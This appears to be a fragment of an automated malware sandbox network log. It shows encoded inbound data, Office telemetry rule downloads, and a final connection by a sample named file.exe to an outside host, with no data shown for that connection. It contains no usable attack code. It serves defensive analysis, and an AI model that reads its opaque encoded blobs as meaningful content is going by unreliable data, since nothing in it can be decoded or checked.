2024-11-14 16:24:22 UTC	1369	IN	Data Raw: 73 44 37 2f 4f 56 2f 58 41 79 38 67 32 76 54 77 36 52 48 35 43 55 33 52 4c 70 53 7a 33 31 70 58 46 50 31 51 6d 6a 6a 4c 4a 58 6a 35 49 37 6f 73 56 70 35 58 59 32 79 64 74 50 7a 37 56 61 46 4f 62 39 4d 37 6b 4a 2f 52 54 46 52 61 35 52 71 50 63 63 45 76 4f 4b 5a 6e 75 44 74 62 6e 46 31 6e 4c 4d 48 78 39 65 67 55 38 77 68 42 32 53 47 56 73 4e 4e 64 57 78 62 36 55 35 45 6a 31 43 5a 2b 37 43 33 2f 63 42 4f 51 51 79 39 30 6b 38 4c 72 39 41 54 76 54 48 58 58 49 35 32 33 78 42 31 43 56 4f 4d 55 6b 54 32 47 65 7a 6a 31 4a 37 4d 35 57 35 46 66 5a 79 50 63 2f 65 6e 69 47 66 63 63 52 39 51 6b 6e 62 2f 65 56 46 41 64 39 31 2b 63 50 4d 49 6b 65 62 35 70 2f 7a 6c 4c 31 77 4d 76 47 73 50 35 39 38 30 65 39 51 63 41 79 32 4f 4b 38 4e 56 52 48 55 4b 36 55 4a 6f 35 7a 43 78 Data Ascii: sD7/OV/XAy8g2vTw6RH5CU3RLpSz31pXFP1QmjjLJXj5I7osVp5XY2ydtPz7VaFOb9M7kJ/RTFRa5RqPccEvOKZnuDtbnF1nLMHx9egU8whB2SGVsNNdWxb6U5Ej1CZ+7C3/cBOQQy90k8Lr9ATvTHXXI523xB1CVOMUkT2Gezj1J7M5W5FfZyPc/eniGfccR9Qknb/eVFAd91+cPMIkeb5p/zlL1wMvGsP5980e9QcAy2OK8NVRHUK6UJo5zCx
2024-11-14 16:24:22 UTC	1369	IN	Data Raw: 7a 6c 58 6b 56 51 76 59 70 50 7a 34 36 4e 4e 75 53 46 6e 34 57 2b 79 69 70 4a 43 45 77 4f 36 55 35 70 78 6e 6d 4e 30 2f 53 75 33 4d 56 57 65 56 32 55 6c 32 50 6a 77 35 78 6e 77 43 30 62 56 4b 4a 61 78 31 6c 46 58 48 50 6c 58 6d 54 37 4a 4b 7a 69 77 5a 37 67 6d 45 38 38 62 53 6a 76 59 2b 76 32 6a 43 72 63 58 41 4e 4d 68 30 2b 69 53 55 56 51 63 2f 46 47 61 4d 4d 41 72 66 66 59 6a 76 6a 68 56 6c 46 52 72 4b 64 4c 37 2f 2b 38 62 38 77 39 42 32 43 61 63 75 39 63 64 45 31 72 39 54 4e 5a 70 68 68 4a 37 36 44 43 76 4d 68 4f 49 46 58 5a 73 31 50 69 37 75 31 58 34 48 45 72 65 49 35 61 2f 31 31 35 53 48 66 64 53 6d 6a 76 50 4b 33 37 78 4c 71 30 39 58 35 6c 63 59 53 44 64 2b 66 48 67 47 4c 6c 41 41 4e 4d 31 30 2b 69 53 63 56 6f 58 31 46 2b 61 4e 6f 59 38 4e 75 64 6e Data Ascii: zlXkVQvYpPz46NNuSFn4W+yipJCEwO6U5pxnmN0/Su3MVWeV2Ul2Pjw5xnwC0bVKJax1lFXHPlXmT7JKziwZ7gmE88bSjvY+v2jCrcXANMh0+iSUVQc/FGaMMArffYjvjhVlFRrKdL7/+8b8w9B2Cacu9cdE1r9TNZphhJ76DCvMhOIFXZs1Pi7u1X4HEreI5a/115SHfdSmjvPK37xLq09X5lcYSDd+fHgGLlAANM10+iScVoX1F+aNoY8Nudn
2024-11-14 16:24:22 UTC	1369	IN	Data Raw: 38 62 4e 32 7a 6c 38 2b 76 7a 46 72 73 2f 56 74 63 37 6d 4c 33 65 48 55 4a 55 34 78 53 52 50 59 5a 37 4f 50 67 6f 74 6a 31 63 6c 6c 4a 6a 49 64 62 39 2f 75 49 54 2f 51 52 4b 31 43 75 56 73 64 64 58 58 68 76 77 58 5a 45 35 77 53 42 71 76 6d 6e 2f 4f 55 76 58 41 79 38 46 31 4f 62 31 38 31 58 6d 51 46 6d 55 4b 70 2f 77 69 68 31 5a 45 50 56 51 6b 54 33 41 4a 6e 37 7a 4a 72 41 2f 55 35 68 66 5a 43 58 56 39 66 62 6d 47 50 30 63 53 74 38 69 6e 37 6e 65 55 42 31 55 75 6c 4f 4f 63 5a 35 6a 53 66 4d 70 73 54 6c 46 31 30 51 68 4e 5a 50 7a 39 36 4e 4e 75 51 39 4d 32 79 36 63 73 39 46 63 56 77 6a 6f 57 4a 38 35 77 79 39 7a 38 43 47 74 4f 46 79 65 57 47 77 6c 31 50 7a 33 36 52 62 2b 54 67 36 55 4b 6f 76 77 69 68 31 2b 44 65 70 5a 31 69 36 49 4f 6a 6a 35 4b 2f 39 6d 45 Data Ascii: 8bN2zl8+vzFrs/Vtc7mL3eHUJU4xSRPYZ7OPgotj1cllJjIdb9/uIT/QRK1CuVsddXXhvwXZE5wSBqvmn/OUvXAy8F1Ob181XmQFmUKp/wih1ZEPVQkT3AJn7zJrA/U5hfZCXV9fbmGP0cSt8in7neUB1UulOOcZ5jSfMpsTlF10QhNZPz96NNuQ9M2y6cs9FcVwjoWJ85wy9z8CGtOFyeWGwl1Pz36Rb+Tg6UKovwih1+DepZ1i6IOjj5K/9mE
2024-11-14 16:24:22 UTC	1369	IN	Data Raw: 71 33 50 76 79 36 68 48 78 44 55 44 51 4b 5a 53 31 30 56 46 57 48 66 6c 62 6b 6a 6a 49 4b 6e 65 2b 61 66 38 35 53 39 63 44 4c 77 33 49 39 2f 66 75 56 65 5a 41 57 5a 51 71 6e 2f 43 4b 48 56 45 55 2f 31 53 63 4e 38 49 6d 66 76 51 69 76 7a 56 51 6d 46 39 70 4b 4e 7a 30 38 4f 6f 55 2f 77 74 4b 33 79 75 65 73 39 52 62 48 56 53 36 55 34 35 78 6e 6d 4e 59 35 53 71 7a 4f 52 4f 49 46 58 5a 73 31 50 69 37 75 31 58 79 41 6b 54 54 4c 5a 36 7a 32 6c 68 5a 45 50 39 55 6e 69 50 4f 49 33 2f 73 4e 62 38 33 56 70 74 59 62 79 6a 56 2f 66 33 67 45 62 6c 41 41 4e 4d 31 30 2b 69 53 63 46 45 64 30 31 4f 4e 63 64 6c 74 59 62 34 67 73 33 34 4c 31 31 70 6b 4a 74 7a 35 2b 4f 55 57 38 67 74 4b 31 53 71 62 76 63 42 65 55 68 58 2b 56 4a 6b 33 77 43 4a 33 2b 43 43 32 50 31 75 51 47 79 Data Ascii: q3Pvy6hHxDUDQKZS10VFWHflbkjjIKne+af85S9cDLw3I9/fuVeZAWZQqn/CKHVEU/1ScN8ImfvQivzVQmF9pKNz08OoU/wtK3yues9RbHVS6U45xnmNY5SqzOROIFXZs1Pi7u1XyAkTTLZ6z2lhZEP9UniPOI3/sNb83VptYbyjV/f3gEblAANM10+iScFEd01ONcdltYb4gs34L11pkJtz5+OUW8gtK1SqbvcBeUhX+VJk3wCJ3+CC2P1uQGy
2024-11-14 16:24:22 UTC	1369	IN	Data Raw: 37 65 6b 53 36 51 6c 58 32 32 33 64 38 4e 30 64 42 53 4f 36 58 5a 45 71 31 7a 56 31 37 69 44 2f 41 52 33 58 51 79 39 30 6b 38 48 34 37 52 76 2b 47 46 47 5a 43 6f 57 36 31 55 31 61 44 66 55 55 32 48 48 41 59 79 43 74 61 66 38 36 51 74 63 44 50 33 36 49 6f 61 69 30 52 61 73 52 44 73 31 74 68 66 43 4b 44 78 4e 61 36 42 54 4f 63 59 45 67 61 75 77 68 76 43 68 51 30 47 56 52 43 38 6e 35 2f 66 51 45 78 7a 42 48 7a 69 43 56 70 38 4d 52 53 42 6e 30 57 70 45 6e 68 6d 30 34 38 57 66 6e 42 78 50 66 47 31 42 69 6b 2b 79 37 75 31 58 4d 44 55 37 61 4b 6f 57 68 6e 33 70 48 46 2f 78 44 68 33 47 49 59 33 36 2b 66 2b 39 77 45 35 4e 4b 4c 33 53 44 70 71 43 32 52 71 35 65 45 73 74 6a 69 76 44 45 48 51 56 49 74 42 53 45 63 5a 35 6a 50 2f 30 31 72 54 68 51 67 56 67 6f 45 75 33 Data Ascii: 7ekS6QlX223d8N0dBSO6XZEq1zV17iD/AR3XQy90k8H47Rv+GFGZCoW61U1aDfUU2HHAYyCtaf86QtcDP36Ioai0RasRDs1thfCKDxNa6BTOcYEgauwhvChQ0GVRC8n5/fQExzBHziCVp8MRSBn0WpEnhm048WfnBxPfG1Bik+y7u1XMDU7aKoWhn3pHF/xDh3GIY36+f+9wE5NKL3SDpqC2Rq5eEstjivDEHQVItBSEcZ5jP/01rThQgVgoEu3
2024-11-14 16:24:22 UTC	1369	IN	Data Raw: 50 6f 41 54 74 4d 37 67 76 33 31 55 31 6f 62 37 45 53 42 50 6f 5a 74 4f 50 68 6e 35 32 77 64 31 31 39 2b 62 49 75 6b 71 62 68 41 71 6c 6b 51 68 6a 4c 64 71 5a 4a 4c 48 55 4b 6f 47 74 59 6a 68 6e 73 34 75 53 53 74 4c 46 57 55 54 57 78 72 37 63 72 63 37 52 4c 34 47 46 44 44 49 74 79 65 35 48 78 6a 4a 4f 39 58 6d 44 2f 42 4e 57 6d 2b 61 66 38 78 45 38 39 69 4c 32 53 54 79 37 57 6a 44 62 6c 57 41 4f 45 75 6e 62 37 56 53 30 78 58 33 56 71 52 4d 4e 41 7a 62 2f 46 6f 6b 51 68 79 31 78 55 76 4b 70 4f 73 71 61 31 56 2f 52 38 41 6a 48 33 42 36 34 63 4f 43 6b 71 6f 53 39 67 6f 68 6a 55 34 70 6e 58 78 66 6b 48 58 41 79 39 72 30 4f 62 70 35 52 62 76 44 51 66 71 45 37 53 2b 31 56 78 4c 43 76 64 59 74 7a 4c 58 4b 55 62 41 4d 72 77 77 58 5a 42 4e 66 6d 79 64 74 50 53 6a Data Ascii: PoATtM7gv31U1ob7ESBPoZtOPhn52wd119+bIukqbhAqlkQhjLdqZJLHUKoGtYjhns4uSStLFWUTWxr7crc7RL4GFDDItye5HxjJO9XmD/BNWm+af8xE89iL2STy7WjDblWAOEunb7VS0xX3VqRMNAzb/FokQhy1xUvKpOsqa1V/R8AjH3B64cOCkqoS9gohjU4pnXxfkHXAy9r0Obp5RbvDQfqE7S+1VxLCvdYtzLXKUbAMrwwXZBNfmydtPSj
2024-11-14 16:24:22 UTC	1369	IN	Data Raw: 58 58 50 5a 53 4f 37 48 42 50 48 65 70 58 31 42 33 42 4c 6e 54 41 47 59 67 76 56 49 63 5a 53 53 2f 46 39 37 75 74 56 65 46 4f 47 4a 51 41 67 62 66 43 58 68 38 32 2f 56 6d 61 63 64 6c 74 59 62 34 78 2f 32 59 41 32 52 74 39 62 49 75 30 76 4f 41 48 36 77 68 44 77 69 37 55 6a 75 78 77 54 78 33 71 56 39 51 41 79 79 64 75 36 79 53 76 4f 57 32 70 64 6e 30 72 77 2f 65 35 78 69 2b 37 50 31 62 58 4c 5a 32 33 6b 68 4d 64 41 72 6f 4d 31 68 7a 55 4a 47 6a 39 5a 5a 6f 45 45 61 5a 4e 62 43 7a 64 38 37 76 38 57 2b 42 4f 56 70 52 31 77 50 36 53 54 78 31 43 75 68 4f 59 50 4d 63 67 64 76 30 31 72 54 68 51 67 56 67 6f 45 75 33 62 38 4f 49 46 39 42 39 4e 30 44 75 74 6a 76 56 62 57 42 33 45 61 71 45 67 77 54 4d 36 32 43 53 70 50 52 50 5a 47 33 64 73 69 37 54 63 35 52 44 2b 54 Data Ascii: XXPZSO7HBPHepX1B3BLnTAGYgvVIcZSS/F97utVeFOGJQAgbfCXh82/VmacdltYb4x/2YA2Rt9bIu0vOAH6whDwi7UjuxwTx3qV9QAyydu6ySvOW2pdn0rw/e5xi+7P1bXLZ23khMdAroM1hzUJGj9ZZoEEaZNbCzd87v8W+BOVpR1wP6STx1CuhOYPMcgdv01rThQgVgoEu3b8OIF9B9N0DutjvVbWB3EaqEgwTM62CSpPRPZG3dsi7Tc5RD+T

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:22 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:22 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 52f63529-f01e-0003-2c78-354453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162422Z-1749fc9bdbdmg6wshC1DFWu2bc00000002xg000000007emt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:22 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:22 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:22 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: a5d3a887-701e-0050-40a7-346767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162422Z-r178fb8d765skzg4hC1DFW090c00000000wg00000000tbwg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:22 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:23 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:23 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:23 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 7bf77406-901e-0083-6cab-36bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162423Z-16547b76f7fj5p7mhC1DFWf8w40000000m200000000052z9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-14 16:24:23 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:23 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:23 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: de083b16-101e-0079-14f1-2c5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162423Z-16547b76f7fk9g8vhC1DFW825400000000rg00000000rv8r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:23 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:23 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:23 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 2e60cfa9-601e-005c-390f-36f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162423Z-1749fc9bdbdlfqrwhC1DFWmyg800000000sg00000000mpmz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:23 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:23 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:23 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 9993dcf0-c01e-0046-3a0d-362db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162423Z-1749fc9bdbdgs9sshC1DFWt6ws00000002wg00000000auq6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:23 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:23 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:23 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a8264c91-f01e-0052-7a79-369224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162423Z-r178fb8d765ljg7ghC1DFWfk4c00000002kg00000000d2y6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:23 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	49752	172.67.174.133	443	5788	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
